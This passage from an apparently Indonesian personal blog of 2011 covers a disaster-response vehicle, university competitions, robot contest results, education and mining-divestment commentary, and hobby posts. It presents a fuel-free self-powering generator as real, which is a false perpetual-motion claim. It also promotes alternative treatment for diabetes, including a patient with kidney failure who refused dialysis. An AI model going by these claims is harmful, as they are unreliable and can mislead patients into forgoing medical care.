Mobil Emergensi Bencana

Mobil Emergensi bencana adalah sebuah mobil yang dimodifikasi untuk kepentingan penggunaan didaerah bencana dimana tidak ada infra struktur jaringan listrik dan telekomunikasi. Sekaligus bisa digunakan untuk suplai tenda kesehatan membantu para korban bencana alam. Karena ada pasokan listrik 5 KVA maka banyak peralatan kesehatan yang bisa digunakan di lokasi bencana.

Mobil ini telah dipamerkan pada, Talkshow Green Energy yang dibuka oleh Menteri PDT (Pemb Daerah Tertinggal) Helmi Faisal Zaini di HotelBumi Wiyata 14 Juli 2011, menampilkan SHOW LISTRIK UTK KESEJAHTERAAN. Penerangan daerah tertinggal dengan menggunakan sebuah hasil inovasi baru yang pertama di dunia, yaitu AUTO GENERATOR POWER SUPPLY No Hydro, No Wind, No Solar, No Fuel, the power electric generated by itself, start from battery and it will work for long years… Really incredible… u cannot believe it.

Lihat di video:

GAPS Green Automobile Power Station ini dilengkapi dengan berbagai fasilitas.

Diantaranya:

Komunikasi satelit GSM CDMA, koneksi internet pita lebar

GPS Global Positioning System

Kompresor

TV Video 2 unit dan zooming camera

Lampu LED 10 unit

Sirene dan Horn Suplai tenaga listrik 5 KVA Inilah mobil Multiguna pertama di dunia dan yang lebih utama adalah:

MADE IN DEPOK.-

Auto Generator Power Supply

Talkshow Green Energy yang dibuka oleh Menteri PDT (Pemb Daerah Tertinggal) Helmi Faisal Zaini di HotelBumi Wiyata 14 Juli 2011, menampilkan SHOW LISTRIK UTK KESEJAHTERAAN. Penerangan daerah tertinggal dengan menggunakan sebuah hasil inovasi baru yang pertama di dunia, yaitu AUTO GENERATOR POWER SUPPLY No Hydro, No Wind, No Solar, No Fuel, the power electric generated by itself, start from battery and it will work for long years… Really incredible… u cannot believe it.

Tampil sebagai pembicara Prof DR Perumal Magayson dari World Trade Center Singapore dan Bpk Agus Dasuki staf ahli Kementrian PDT, sebagai moderator bapak Raldi Hendro Koestoer dari Staf Ahli Kemenko Perekonomian.

GAPS Green Automobile Power Station

GAPS singkatan dari Green Automobile Power Station.
Jadi apa sebenarnya GAPS ini ? Sebuah mobil aneh kah ?
Atau sebuah Power Station, atau pusat tenaga listrik kecil atau bagaimana ?

Sebuah mobil Isuzu longchasis namun telah banyak dimodifikasi ruang dalamnya karena dimaksudkan agar mobil ini bisa mensuplai tenaga listrik sebaga ganti gen-set s/d 10 KVA atau 10 ribu Volt Amper. Manfaatnya untuk digunakan bagi kepentingan emergensi (gawat darurat). Misalnya daerah bencana. Pada saat awal  bila terjadi bencana gempa buni tsunami or whatever, tentu tidak ada suplai listrik nah… mobil ini isinya
Auto Generator Power Supply. Tanpa menggunakan bahan bakar fosil (no fossil fuel)… Bagaimana mungkin ?
Sebuah teknologi baru green energy, dimana power supply memang tidak menggunakan tenaga lain selain energi dari dirinya sendiri. Bisa tahan 24 jam dan bisa bertahun-tahun hidup.
Tak Percaya kan ?
Tapi tidak mustahil.
Bahkan bukan itu saja… Jadi apa lagi yang tersedia di dalam mobil ‘super car ini’…?
TV Video dan Zooming Camera. CDMA GSM Satellite phone Communication, GPS Global Positioning, Power Supply 10 KVA, Lampu jalan, sirene dan horn.

Dan tak lupa koneksi internet pita lebar. Jadi tentu bisa terkoneksi ke seluruh dunia. Dengan lampunya yang terang benderang maka helikopterpun bisa mendarat di malam hari dengan panduan dari lampu yg terkontrol dengan komputer. Siaran TV langsung dari sinipun bisa.

Guyz, you will never believe it, this is the only one in the world.

Genset nya juga silent man… gak ada bunyinya… bayangkan… Lampu jalan LED dipasang diatas mobil demikian juga dengan zooming camera yang bisa nengok kanan kiri belakang atas bawah, dan zoom 200 meter kedepan.

Videonya saat lagi dipasang peralatan, klik saja

Tidak ada komen saya yang lain,… selain…L U A R B I A S A…

Dan yang lebih hebat lagi super car ini – MADE IN DEPOK-

Lihat pameran dan talkshow Green Energy Hotel Bumi Wiyata Depok,

14-15 Juli 2011.-

Mhs UI silakan datang gratis dengan jaket almamater.

Institusi lain silakan call phone sms Anang Saifuddin   087886 784607 atau 0857810 39040,

untuk mendapatkan undangannya.

Lihat juga tentang seminar dan talkshow Green Energy di:

http://koestoer.wordpress.com/go-green/seminar-green-energy/

C U There…

Hasil Shell Eco Marathon 2011

Laporan dari Ario Sunarbaskoro (Tim UI).-

Berikut ini sekilas hasil Kompetisi Shell Eco Marathon 2011 yang telah
dilaksanakan pada tanggal 6-9 Juli 2011 di Sepang Malaysia.
Kompetisi ini memperlombakan 2 tipe kendaraan yaitu: urban (perkotaan)
dan prototipe.
Sedangkan tipe bahan bakar terdiri dari: Shelll unleaded 95, diesel,
ethanol e100, hydrogen fuel cell, plug-in electricity, FEMA dan sinar
matahari.

Lomba kali ini diikuti oleh 13 negara dengan 100 tim.
Rinciannya adalah sebagai berikut:

1. Indonesia: 10
2. Malaysia: 23
3. Singapura: 8
4. Filipina: 7
5. Brunei: 3
6. India: 9
7. Jepang: 1
8. Vietnam: 3
9. Thailand: 17
10. Pakistan: 14
11. Iran: 1
12. China Taipei: 1
13. China: 3

Tim Indonesia yang terdiri dari 10 tim, dan UI mengirim 2 tim dengan
tipe urban dan prototipe.
Tahun ini peserta lebih banyak dibandingkan tahun lalu yaitu 73 tim
(2010).
Dan semua peserta memiliki persiapan yang lebih baik, walaupun masih
ada kekurangan seperti mobil terlambat masuk seperti tim dari Pakistan,
India dan China.

Seperti biasa, kompetisi ini sangat ketat dalam inspeksi teknisnya.
Dari 100 mobil, banyak yang tidak lolos inspeksi teknis. Saya kebetulan
tidak mencatat berapa yg tidak lolos. Dari tim yang lolos, hanya 58
mobil yang masuk ke track sepang dan memenuhi waktu 23 menit untuk 4
laps. Sehingga hasilnya dapat tercatat di database.

Tahun ini, terdapat catatan rekor baru untuk fuel efficieny yaitu 2213
km/l yang dicapai oleh mobil urban tim Thailand dari Dhurakij Pundit
University. Sedangkan untuk mobil prototipe dicapai oleh tim ITS dengan
150 km/l.

Tim UI sendiri masih belum berhasil mendapatkan award pada tahun ini.
Kita menyadari banyak kekurangan dan keterbatasan dari teknik engine,
transmisi dan struktur. Dan tim mahasiswa sudah berjuang sangat keras
dan maksimal dari sejak di Indonesia maupun di Sepang. Insya Allah kita
akan coba perbaiki terus dan dikembangkan menjadi lebih baik lagi.
Adapun capaian terbaik kita adalah 127 km/l untuk prototipe dan 56 km/l
untuk urban.

Terakhir, saya mengucapkan banyak terima kasih atas dukungan baik moril
maupun materiil dari bapak dan ibu sekalian terhadap tim UI. Demikian
juga dukungan dari manajemen FT maupun UI yang dalam hal ini Pak Dekan
Prof Bambang Sugiarto dan Prof Anondho juga hadir di Sepang menemani
tim. Semoga di tahun depan kita akan berjuang lebih keras dan mendapat
hasil yang lebih baik lagi.
Seperti semboya tim:
“DO THE BEST
GOD DO THE REST”

Pendidikan untuk Siapa ?

Lodi Paat, pengamat pendidikan pada acara Metro-TV menjawab dengan tegas: – Ya.. untuk yang punya duit…-

Pendidikan hanya untuk orang kaya, untuk mereka yang memiliki power. Bagaimana ini bisa terjadi ?

Tentu saja karena sekarang masuk SD, SMP dan SMU dan SMK, orang harus bayar mahal. Bagaimana dengan masuk Perguruan Tinggi ? Ya sama saja. Sekolah Negeri bahkan banyak yang lebih mahal dari sekolah swasta ? Keanapa keadaan sekarang sudah terbalik begini ?

Entahlah… negara ini sudah kacau balau, Pendidikan tak terarah jauh lebih rumit dari masalah kesehatan. Negara tidak berdaya mengaturnya. UUD 45 sudah tidak digubris lagi. Tugas negara untuk mencerdaskan bangsa sudah tidak pernah dibicarakan lagi.

SBI, RSBI, kelas internasional… Bohong semua. Dibuat hanya untuk mengeduk harta orang tua murid yang kegilaan trend. Apalagi ibu-ibu di kota besar, yang menjadi malu kalau anaknya tidak masuk kelas terebut diatas. Ataupun juga kelas akselerasi. Perpustakaan sekolah tidak bertambah, laboratorium IPPA tidak berubah, yang ditambah hanya kelas2 saja, supaya murid bisa tambah banyak. Peningkatan mutu cuma jadi jargon yang kosong belaka.

Orang miskin… terjun aja lo ke laut. Jangan harap jadi pintar. Karena tidak ada tempat untuk kalian di sekolah. Tidak ada hak kalian untuk jadi pintar dan mengangkat harkat keluarga. Bahkan di republik ini… elo elo orang miskin, gak ada tempat… NYEBUR AJA LO KE LAUT.

Burj Al Arab

Menuju pantai reklamasi di kota Dubai. Jalan2 teratur rapi namun transportasi masal hanya ada monorail ke daerah pinggir laut merah ini. Terlihat dari kejauhan BURJ AL ARAB megah menjulang dimana konon kalau menginap di hotel tersebut tarifnya yang paling murah saja 3000 dolar AS.

 

Boleh juga dilihat video Masjidil Haram, sila klik di:

 

http://koestoer.wordpress.com/ramadhan-dan-lebaran-hal-onoff/masjidil-haram/

 

 

Klinik Syariah

Banyak orang yang kena Diabetes Mellitus berobat dengan cara ini dan sembuh. Mungkin ada baiknya saya posting saja di blog ini barangkali ada yang tertolong karenanya.

BENGKEL ROHANI - Ruko Niaga Kalimas I Blok D23-23A, Jl Raya Inspeksi Kalimalang - Bekasi Timur ☎ 88357762 – 88357763

SMS Testimoni :

Ibunya IN juga DM, ginjalnya rusak shg dokter nyuruh hemodialisa, mereka nolak, trus ke alternatif di bekasi (bekam+rukyah+akupuntur) simultan, alhamdulillah konon sekarang lebih baik kondisinya (ini ref dr temannya In yg sembuh setelah 3 bln berobat @tiap minggu)

Lihat juga lebih lengkap di:

http://www.bengkelrohani.com/

Semoga bermanfaat.

 

 

 

 

 

 

 

 

 

 

 

Tim SEM UI 2011

Boosting…
Kegiatan anak-anak kita di UI dalam lomba Shell Eco-Marathon.
Mohon dukungannya.
-0-

 

 

 

 

 

 
Dari Fariz Muryadi Tim SEM UI 2011 (Facebook)
Teman-teman yang baik… :)

Minta dukungan buat tim Shell Eco Marathon Universitas Indonesia dong, kami sedang ada kontes penggalangan dukungan untuk acara tanggal 6-9 Juli di sirkuit Sepang Malaysia nanti, sebagai catatan, rival kita adalah universitas-un…iversitas se-Asia.

Caranya : masuk ke http://www.facebook.com/l.php?u=http%3A%2F%2Fecomarathon.shell.com%2F2011%2Fvote.php&h=1b177

Trus vote no 33 (Tim Nakoela Universitas Indonesia) dan no 514 (tim sadewa Universitas Indonesia)

Demi Indonesia, hidup mahasiswa!!!!

Terima kasih 

nb : ini berbeda dengan like kemarin, kali ini vote, bukan like ya. :)
Kontak: Fariz Muryadi 08529235065.

Senat DGB FTUI

Telah terpilih anggota senat dari Guru Besar FTUI

1. Prof Eko Rahadjo (Elektro)
2. Prof Yulianto (Mesin)

Pemilihan terdiri dari dua ronde. Pada ronde pertama terpilih 7 orang kemudian diambil 4 yang terbaik. Pada putaran selanjutnya barulah terpilih dua orang wakil DGB FTUI yang tersebut diatas untuk menjadi anggota di Senat Universitas Indonesia.

Lihat foto2 di:

Final Project Examination of S1

Final Project Examination of S1 in Mech Engineering Fac of Eng Univ of Indonesia, was started this morning. Students present their work in form of comprehensive presentation as well as discussion including question and answer with the lecturers.

Final project students, who present their speech, are Hamdalah Hazhar, Kapa Coss,a J, Gilang AIV, Sabdo Waluyo, M Iqbal Bimo A, Rian Saputra, Tasia Larosa, Ardhana P. And the reviewer from Mech Dept are four lecturer, Nandy Putra, Danardono, Agus Pamitran, Raldi Artono.-

Topics, Cryosurgery based on peltier element, thermoacoustic cooling, Screen mesh wick in straight and loop heat pipe, Thermoelectric on Agarose gel electrophoresis.-

Uploaded by koestoerytube on Jun 17, 2011

Analisa unjuk kerja PLTU 450 Watt Dengan Variasi Temperatur Superheater

Analisa unjuk kerja PLTU 450 Watt Dengan Variasi Temperatur Superheater (Studi Kasus 205 dan 215 C)

Penelitian yang dilakukan untuk tugas akhir ini menggunakan miniatur Pembangkit Listrik Tenaga Uap (PLTU) ini diproduksi oleh SNM (Shin Nippon Machinery) dengan TIPE 100-SCR. PLTU ini mampu menghasilkan daya listrik sebesar 450 Watt dengan kapasitas uap maksimum 130 kg/jam.
Kerugian dalam suatu PLTU salah satunya adalah pemanfaatan energi kalor yang masih sangat kecil. Untuk mengoptimalkan kinerja dari PLTU maka dilakukan pengujian dengan cara memvariasikan temperatur yang keluar dari superheater terhadap beban listrik. Penelitian ini dilakukan oleh dua orang dengan masing-masing menganalisa karakteristik PLTU pada titik pengaturan temperatur superheater yang ditentukan yaitu pada 205oC dan 215oC. Pada penulisan tugas akhir ini, analisa hasil pengujian dititik beratkan pada analisa energi dan diagram fase pada titik pengaturan temperatur superheater 215oC.
Hal tersebut dilakukan agar dapat diketahui karakteristik dari PLTU. Sehingga didapatkan suatu kondisi dimana pada saat beban tertentu maka kita dapat melakukan pengaturan pada temperatur keluar superheater sehingga kinerja PLTU secara keseluruhan menjadi optimal. Dari dua hasil studi kasus yang telah dilakukan diperoleh bahwa energi kalor yang terbuang sangat besar bila dibandingkan dengan energi yang dihasilkan oleh turbin, hal tersebut terlihat pada nilai efisiensi termal yang kecil yaitu sebesar 3,78%. Kerugian kalor tersebut diantaranya dari losses yang terjadi pada saat pendistribusian uap, kalor yang dibuang untuk menkondensasikan uap, dan kalor yang terbuang karena percampuran air dan kondensat pada tangki kondensat.
Bila dibandingkan dengan kondisi superheater yang temperaturnya diatur pada 205 oC dengan nilai efisiensi termal sistem sebesar 3,88%, maka nilainya 0,1% lebih besar dari pada kondisi pada saat temperatur superheater diatur pada 215 oC. Hal ini menunjukkan bahwa pada beban yang sama yaitu 450 Watt dikedua kondisi tersebut, kenaikan temperatur dari 205oC menjadi 215oC menyebabkan menurunnya efisiensi termal dari sistem.

Kata kunci : PLTU, boiler, superheater, siklus rankine, efisiensi termal, turbin, kondensat

Lihat ujian skripsi Wawan dan Marjo

Mhs FTUI Juara Nasional Design Product

Assww,
FTUI berhasil menjuarai Kompetisi Nasional Design Product and Ergonomics Chronics 2011 di UGM
Bapak dan Ibu dosen yth,
Alhamdulillah, kembali mahasiswa FTUI yaitu Anton Royanto (M’07),
Aisyah Iadha Nuraini (TI ’08), Iftitah Putri Haditia (TI ’08), Sofrida
Rosita Hanum (TI ’08) berhasil menjuarai Kompetisi Nasional Design
Product and Ergonomics di UGM pada Juni 2011.
Semoga prestasi yang ditorehkan terus dapat dipertahankan dan
dilanjutkan oleh generasi2 berikutnya.
Dan kerja team work antar Departemen bahkan antar Fakultas spt Tim
Robot atau Tim Shell Eco Marathon dapat ditularkan kepada tim2 lomba
lain di UI ini.
Tetap semangat dan raih prestasi setinggi2nya…

Wass,

Ario SB

Kemenangan Manis di Jogjakarta
-Anton Royanto (M’07)-

Dibentuk pada awal bulan Mei, dengan komposisi Aisyah Iadha Nuraini,
Iftitah Putri Haditia, Sofrida Rosita Hanum – Teknik Industri 2008, dan
Anton Royanto Ahmad – Teknik Mesin 2007, kami bersepakat untuk menamakan
tim kecil ini dengan “Kolam Susu”. Dalam kurun waktu 2 minggu, kami
menelurkan ide serta meraciknya menjadi sebuah proposal kecil untuk
dikirimkan kepada panitia Chronics 2011 selaku pembuat kompetisi
nasional Design Product and Ergonomics. Chronics 2011 merupakan
perlombaan tahun ke-4 dengan tema Supporting Tools for Parent and
Toddler. Perlombaan ini diadakan oleh teman teman Himpunan Mahasiswa
Teknik Industri (HMTI) UGM.

Peserta yang mendaftar sebanyak 61 tim dari berbagai perguruan tinggi
yang ada di Indonesia. Untuk melaju ke babak selanjutnya, panitia hanya
memilih 15 tim melalui babak penyisihan mini proposal. Kolam Susu
merupakan perwakilan yang lolos dari UI untuk berkompetisi selama 3 hari
di UGM, Jogjakarta. Walau kami memiliki cara masing masing untuk pergi
ke Jogjakarta, entah dengan bus maupun pesawat, tekad kami sudah bulat
untuk menjadi nomor satu.

Hari pertama cukup menegangkan. Kami mempresentasikan Volta Milk,
produk kami, kepada tiga dewan juri yang pakar dibidang desain,
ergonomi, dan psikologi anak. Dengan memperhatikan manner and matter,
kami berusaha tampil sebaik mungkin.

Hari kedua, Case Study, kompetisi yang memerlukan kekompakan tim
didalamnya. Taman Pintar Jogjakarta adalah tempat yang menarik untuk
mencari sebuah permasalahan yang harus dipecahkan oleh tim. Kami para
engineer muda dipacu untuk menyelesaikan masalah dalam kurun waktu 3
jam, kemudian kami tampilkan secara privat terhadap dewan juri. Di hari
kedua ini, akan dipilih 7 tim terbaik yang akan maju ke babak grand
final pada hari ke 3. Alhamdulillah, kami berada di peringkat ke 2.
foto kemenangan anton di ugm mei 2011
Hari ketiga, hari penentuan, kami harus membuat expo di Taman Pintar,
dan kami harus mempresentasikan hasil Full Proposal kami dengan sedikit
revisi yang direkomendasikan oleh dewan Juri. Walaupun energi kami sudah
banyak terkuras untuk mempersiapkan ini semua dalam waktu singkat, kami
tetap optimis. Doa selalu teriring dalam langkah langkah kami.
Alhamdulillah, 5 Juni 2011 adalah momen yang berbahagia untuk kami:
Kolam Susu menempati Juara 1, mengalahkan tim dari UGM dan ITS.
Kebahagiaan yang mengganti segala pengorbanan yang telah dilakukan.
Alhamdulillah.

UI Juara Kontes Robot Seni Indonesia

Subject UI berhasil menjuarai Kontes Robot Seni Indonesia 2011
Sender ario@eng.ui.ac.id
Recipient Milis Dosen
Date Today 16:55
Assww,

Bapak dan Ibu Dosen sekalian,

Alhamdulillah Tim Robot Universitas Indonesia (TRUI) berhasil
memenangkan Kontes Robot Seni Indonesia (KRSI) 2011 yang diadakan di UGM
pada tanggal 11-12 Juni 2011.
Dan Tim Robot Berkaki mendapat juara 3.
Semoga terus dapat dipertahankan di tahun2 depan.

Berita lengkapnya di

http://edukasi.kompas.com/read/2011/06/12/2227164/Inilah.Robot-robot.Terbaik.Tahun.Ini

Tetap semangat.
TRUI…Juara…Juara…Juara…

Wass,

Ario SB

Ini robot seni  UI lagi bertanding, yang sebelah kiri:

 

Hasil Lengkap Pertandingan Kontes Robot

Kontes Robot Indonesia/KRI:

Juara 1: Poltek. Batam

Juara 2: PENS

Juara 3: ITS

Juara Harapan: Univ. Budi Luhur

Algoritma Terbaik: ITS

Desain Terbaik: PENS

Kontes Robot Cerdas Indonesia/KRCI Beroda:

Juara 1: IT Telkom

Juara 2: UKSW Salatiga

Juara 3: UGM

Juara Harapan: Polban

Algoritma Terbaik: UGM

Desain Terbaik: UKSW Salatiga

Kontes Robot Cerdas Indonesia/KRCI Berkaki:

Juara 1: ITB

Juara 2: Poltek. Batam

Juara 3: UI

Juara Harapan: UGM

Algoritma Terbaik: ITB

Desain Terbaik: UMM

Kontes Robot Cerdas Indonesia/KRCI Humanoid Soccer:

Juara 1: PENS

Juara 2: Poltek. Batam

Juara 3: UNY

Juara Harapan: UKSW Salatiga

Algoritma Terbaik: UNY

Desain Terbaik: PENS

Kontes Robot Seni Indonesia/KRSI:

Juara 1: UI

Juara 2: IT Telkom

Juara 3: STMIK Teknorat Bandar Lampung

Juara Harapan: Univ. Ahmad Dahlan

Algoritma Terbaik: UGM

Desain Terbaik: UGM

Graduation SMP

Tadi pagi saya menghadiri… nih tulisannya di panggung kaya gini nih…

Graduation Ceremony
Lazta Show Performances 2011
SMP Lazuardi GIS

Alhamdulillah semua kelas 9 lulus (100%). Utamanya di Laz initidak semua anak kondisinya sama, karena mereka juga menerima anak yg rada kurang misalnya Autis. Mereka di treat sama dengan yang lain tapi terawasi. Begitu istilah saya.
Tapi buat saya orang jadul… kayanya sekarang koq graduation tuh di gede2in ya. Ini masih mendingan karena malah ada graduation kelas nol alias Taman Kanak2 pakai toga segala. Salah kaprah gak sih niy. Perasaan jaman dulu graduation cuman waktu lulus mahasiswa aja.
Setelah graduation itu ada acara Lazta Performance murid kelas 7 dan 8 menari dan menyanyi. Bagus juga, tapi kepanjangan jadi jam 2 siang baru kelar. Kelihatannya anak2 keliwat banyak maunya.

 

 

Dari apa yang disampaikan guru, sekolah ini tidak se mata2 mengutamakan akademis saja, tapi 30% akademis dan 70% attitude. Anak saya sendiri kelas 8 disitu dan saya lihat dalam implementasinya visi misi itu tidak terlalu mudah dilaksanakan. Biasalah yang dihadapi kan orang tua yang amat beragam jadi masih banyak parents yang terpengaruh mainstream yang kurang tepat.

Divestasi Newmont untuk Siapa?

Divestasi Newmont untuk Siapa?

Oleh: Marwan Batubara, Indonesian Resources Studies, IRESS

 

Keputusan pemerintah pusat membeli 7% saham Newmont Nusa Tenggara (NNT) senilai US$ 246,8 juta 6 Mei 2011 patut diapresiasi. Dengan itu divestasi 31% saham NNT telah tuntas, dan komposisi pemegang saham NNT berubah menjadi  NTP (Newmont & Sumitomo) 49%, Multi Daerah Bersaing (MDB) 24%, Pukuafu Indah (PI) 17,8%,  Indonesia Masbaga Investama (IMI) 2,2% dan Pemerintah RI 7%. Namun transakasi ini belum direstui DPR, yang mempermasalahkan sumber dana pembelian. Apakah sikap DPR relevan?

Kontrak Karya (KK) NNT ditandatangani pada 2 Desember 1986. Tambang Batu Hijau NTB  diperkirakan menyimpan potensi 11,2 miliar pound tembaga, 14,7 juta ounce emas dan 27,6 juta ounce perak. Berdasarkan harga rata-rata tembaga, emas dan perak masing-masing US$ 4/pound, US$ 1500/ounce dan US$ 20/ounce, potensi tambang adalah US$ (11,2 x 4 + 0.0147 x 1500 + 0.0276 x 20) miliar = US$ 67,41 miliar atau sekitar Rp 580 triliun (US$/Rp = 8600). Potensi yang sangat besar ini menarik minat investor asing atau swasta memiliki saham, sehingga proses divetsasi saham tidak berjalan lancar.

Proses Divestasi

KK NNT mengatur Newmont & Sumitomo wajib mendivestasikan 31% sahamnya, masing-masing 3%, 7%, 7%, 7% dan 7% pada tahun 2006, 2007, 2008, 2009 dan 2010. Sesuai Pasal 24 ayat 3 KK, pemerintah pusat memiliki hak pertama untuk membeli, dan dapat beralih kepada daerah atau swasta nasional jika pusat atau daerah tidak menggunakan haknya. Meskipun tidak seutuh seharusnya, ketentuan Pasal 24 KK ini telah menerjemahkan Pasal 33 UUD 1945 agar sumberdaya tersebut dikuasai negara melalui pusat dan daerah.

Proses divestasi 2006 dan 2007 gagal terlaksana karena berbagai kepentingan, termasuk upaya NNT untuk tetap mendominasi. Oknum-oknum pemerintah bersama sejumlah pengusaha nasional juga terlibat perburuan saham. Kisruh ini menyebabkan Pemerintah RI mengugat NNT ke arbitrase internasional, 3 Maret 2008, karena lalai melakukan divestasi. Pada April 2008, NNT melayangkan gugatan balik, yang mempersoalkan keterlibatan pihak ketiga dibalik rencana pembelian saham oleh pemerintah. Pada 31 Maret 2009 arbitrase memenangkan Pemeritah RI dan NNT harus melanjutkan proses divestasi.

Divestasi 2006-2007 digabung dengan divestasi 2008-2009, sehingga total saham yang dieksekusi tahun 2009 menjadi 24%. Pemerintah pusat “diwakili” Menko Prekonomian Sri Mulyani, menyatakan akan membeli saham. Sayang suara pemerintah tidak bulat. Pada semester-1 2009, terjadi pertarungan dua “kubu”. Pertama, kubu pemerintah pusat, didukung Menkeu Sri Mulyani, Menteri BUMN Sofyan Jalil dan Wapres JK. Kedua, “kubu daerah”, didukung oleh MESDM Purnomo Y., Menko Aburizal B., Ketua BKPM M. Lutfi dan Ketua DPR Agung L. Bahkan lembaga DPR pun mendukung kubu kedua!

Hingga pemerintahan SBY-JK berakhir September 2009, keputusan belum daiambil. Wapres JK memang pro pusat, tetapi Presiden SBY, yang harusnya mewakili pusat, tidak bersikap! Namun hanya sebulan setelah SBY-Boediono berkuasa, November 2009 Presiden SBY menyetujui pembelian oleh “daerah”. Karena keputusan Presiden  SBY ini, pusat gagal menggunakan hak rakyat Indonesia menguasai saham NNT. Apakah pemilikan saham oleh daerah merugikan? Bukankah rakyat daerah akan ikut menikmati sebagian keuntungan NNT?

Ternyata daerah “mengerjasamakan” 24% sahamnya dengan perusahaan swasta, Multicapital (Grup Bakrie). Kerja sama ini terwujud dalam perusahaan patungan bernama Multi Daerah Bersaing (MDB), yang merupakan gabungan Multicapital dengan Daerah Maju Bersaing (DMB), milik pemprov NTB dan pemda Sumbawa (KS) dan Sumbawa Barat (KSB). MOU kerja sama MDB ditandangani 11 Juli 2009, dengan pemilikan saham 75% Multicapital dan 25% DMB. Seluruh dana untuk pembelian 24% saham ditanggung Multicapital, tanpa kewajiban membayar oleh DMB (golden share).

Setelah hampir 2 tahun, tampaknya daerah tidak memperoleh hak sesuai kesepakatan. Majalah Sumbawa News Nomor 19, Mei 2011 melaporkan MDB berhak memperoleh deviden tahun 2010 sebesar US$ 172,8 juta, atau sekitar Rp 1,48 triliun. Jika pola 75% : 25% diterapkan, mestinya ketiga daerah NTB, KS dan KSB memperoleh deviden sebesar 25% x US 172,8 juta = US$ 43,2 juta atau sekitar Rp 371,52 miliar. Namun hingga saat inidaerah/DMB hanya menerima US$ 4 juta atau sekitar Rp 34,4 miliar. Apakah MDB kelak akan melunasi kekurangan pembayaran sekitar Rp 337,12 milar? Karena Multicapital dan daerah sederajat, seharusnya 25% deviden milik DMB telah tuntas diserahkan kepada daerah.

 

Divestasi 2010: 7% Saham NNT

Pembelian 7% saham NNT oleh Pusat sesuai Pasal 41 UU No.1/2004 yang berbunyi: “Pemerintah dapat melakukan investasi jangka panjang untuk  memperoleh manfaat ekonomi, sosial, dan atau  manfaat lainnya  dalam bentuk saham, surat utang, dan investasi langsung. Investasi semacam itu juga diatur lebih lanjut dalam PP No. 1/2008, Pasal 3 ayat (2) huruf (a) Jo. Pasal 15 ayat (1) yang menyatakan bahwa PIP dapat melakukan investasi pemerintah dalam bentuk Investasi Surat Berharga dengan cara pembelian saham atas saham yang diterbitkan perusahaan. Pelaksanaan pembelian saham dalam Permen Keuangan, PMK 181/2008 jo.PMK 44/2011.

Menurut Kemenkeu, dengan memiliki saham pemerintah dapat berperan optimal mengawasi, mengelola dan membayar pajak. NNT akan dijadikan sebagai laboratotium pajak untuk menganalisis dan memverifikasi beragam masalah dan kelayakan pembayaran pajak  perusahaan tambang. Memang, mengelola perusahaan melalui pemilikan saham adalah satu-satunya langkah yang harus ditempuh jika negara ingin menguasai dan memanfaatkan kekayaan alam secara optimal sesuai konstitusi. Aneh jika DPR terkesan menghambat pembelian 7% saham NNT oleh Kemenkeu.

Tambang NNT sangat menguntungkan, terbukti  setelah  investasi sebesar US$ 909 juta untuk 24% saham, MDB memperoleh deviden tahun 2010 sebesar  US$ 172,8 juta! Padahal usia tambang NNT dapat lebih dari 20 tahun, sehingga tingkat pengembalian investasi bisa melebihi 100% dalam waktu 6 tahun! Disisi lain, daerah sangat dirugikan dalam kerja sama dengan Multicapital karena pola bagi hasil dan peran yang tidak optimal. Karena itu, seluruh saham divestasi NNT (24% & 7%) seharusnya  dikordinasikan dan dimiliki bersama oleh pemerintah pusat dengan daerah tanpa melibatkan swasta.

 

Penutup

Meskipun pembelian 24% saham NNT telah gagal, dan ini merupakan kesalahan fatal Presiden SBY, keputusan Kemenkeu  membeli 7% saham NNT patut dikawal. Pembelian tersebut sesuai konstitusi, peraturan dan KK, serta sangat menguntungkan. Ada pendapat saham tersebut kelak dijual kembali kepada asing, sebagaimana juga muncul pada proses divestasi 24% yang lalu. Menkeu membantah dan menyatakan tidak berniat menjual kembali. Tampaknya hal ini merupakan trick pemburu rente untuk menguasai saham. Namun demikian, rakyat tetap perlu waspada.

24% saham NNT milik daerah sudah terlanjur dikuasi swasta, daerah mendapat porsi yang sangat minim. Karena itu, demi kepentingan strategis dan optimasi pendapatan negara, pemerintah dihimbau konsisten dengan sikapnya membeli 7% saham, dan segera menggabungkan saham nasioal yang terpisah (NKRI 7%, FI 20% dan MDB 24%) ke dalam satu konsorsium nasional (51%), sehingga mampu mengendalian jalannya NNT sesuai kepetingan bangsa. Kita harap DPR tidak menghambat Kemenkeu dengan alasan tak jelas dan mendukung gagasan penggabungan saham ini.  Wakil rakyat seharusnya mengutamakan kepentingan rakyat pemilih, bukan yang lain.[]

Words Bee Gees Solo Guitar lesson

Song namely WORDS by the Bee Gees, popular in the year 70’s. But today’s product June 5th 2011, the song was played by guitar only. This might be useful for debutant who try to learn how to play a solo guitar.

For me atleast it’s a ‘un bon souvenir’. The singer wasBarry Gibbs the eldest brother  of the three gibbs family after Robin and … another one I didn’t remember…sorry. Regards from Jakarta.-

Tripod HP di Harpitnas

Gara-gara Harpitnas (Hari Kejepit Nasional) tanggal 03 Juni 2011 yang jatuh dihari Jumat menyebabkan saya rada sedikit nganggur dipagi hari. Jadilah sembari ngopi dan makan roti saya ngopreg tripod handphone saya yang sekarang fiturnya udah sedikit nambah dan rada canggih (saya sendiri yang klaim bhw tripod hp ini canggih).

Lha jadi apa canggihnya ini tripod HP ?

Tentu anda harus lihat foto dulu yah… Nah sambil lihat foto, nih saya jelasin. Itu kalo anda mau denger, tapi kalo gak mau denger ya pindah aja channelnya alias klik web yang lain. Jadi tripod hp ini gabungan ama tripod kecil biasa yang buat tustel digabung sama asesorisnya yang dimodif dari botol shampo (lihat foto yah). Kenapa musti digabung ?

Nah ini lagi rahasianya… Tripod HP yang dulu karya saya beberapa tahun y.l., kalo mau search di blog ini juga ada (search aja tripod hp) dibagian search sebelah kanan. Yang itu gak ada tripod tustelnya langsung dibentuk dari botol shampo saja. Tahu nggak kekurangannya apa ? Yah kayanya sih kalo gak punya pengalaman dengan tripod dll gak bakalan tahu. Saya jadi tahu juga karena sering menggunakan fitur video klip HP. Tapi sebelumnya, anda tahu gak sih kenapa orang musti pakai tripod ? Kalo dipegang tangan doang baik kamera maupun alat rekam lainnya, hasil jeperetannya itu KURANG AJEG. Tuh itu tepatnya, kaya seperti rada goyang gitu, apalagi video keluarnya jadi rada blur. Terlebih lagi dengan kamera atau videocam digital yang megapixelnya rendah. Lha kalo megapixnya udah tinggi lalu apa penyakitnya kan tustel modern dan canggih MP nya sudah sampai 10-12-14 MP. Jadi tajam dan kalau dibesarkan ukuran postersekalipun jadi tidak pecah. Tapi… memorinya itu man… guede banget. Ini penyakitnya sehingga kalau kita transfer gambar via internet atau bluetooth jadinya luama sekali bahkan seringnya malah gagal. Padahal kita udah nunggu lama. Hal ini disebabkan karena koneksi 